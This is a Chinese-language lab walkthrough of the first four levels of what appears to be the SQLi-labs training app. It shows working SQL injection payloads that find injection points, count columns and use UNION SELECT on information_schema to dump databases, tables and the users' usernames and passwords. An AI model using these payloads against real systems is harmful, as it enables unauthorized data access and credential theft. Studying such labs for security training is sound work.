第一关
判断注入点:
?id=1 回显正常
?id=1’ 回显错误
可以判断出是基于单引号注入
然后and判断一下
?id=1’ and 1=1 回显正常
?id=1’ and 1=2 回显错误
证明存在注入漏洞
则or 相反
?id=1’ or 1=2 --+ (回显正常)
?id=1’ or 1=1 --+ (回显错误,证明存在注入漏洞)//(暂时没验证)
然后我们判断一下列数
?id=1’ order by 3 --+(没报错)
?id=1’ order by 4 --+ (报错)
证明列数为3
然后我们将前面置为错误
为什么要将前面置为错误呢?
因为他的显示位只有一个,只有让前边的报错,才能让后边的正常执行
联合查询一下
?id=1’ and 1=2 union select 1,2,3 --+ //注意and后面有空格
基于上述的简单联合查询
进行爆表
?id=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
然后基于上述进行爆表
咱们进行爆security库内的表
?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+
爆出来的表有一个users对我们有用(渗透思维)
搞他
爆字段
?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+
终于快拿到自己想要的了
爆字段里面的数据
有用的也就username和password了
搞
爆字段里面的数据
?id=1' and 1=2 union select 1,group_concat(username,0x5c,password),3 from users --+
注意0x5c是\转义符
终于完成了
可以回去睡觉了
因为前四关都是一样的我就来写一下判断注入点步骤
第二关是整数型
?id=1 and 1=2 --+ (报错)
?id=1 and 1=1 --+ (正常执行)
存在整数型注入点
验证一下
剩下的爆库和第一关的一样就好
第三关
判断注入点
?id=1’) and 1=1 --+ (回显正常)
?id=1’) and 1=2 --+ (回显错误)
存在’)的注入点
验证一下
第四关:
源码分析
因为$id一开始传参的时候就被包裹了双引号,因为在php中.是连接符,单引号里面的是要要引用的字符,下边执行sql查询语句的时候,又被括号包裹,所以注入点是(‘’)
判断注入点:
?id=1") and 1=2 --+ (回显错误)
?id=1") and 1=1 --+ (回显正确)
基于”)的注入点
验证一下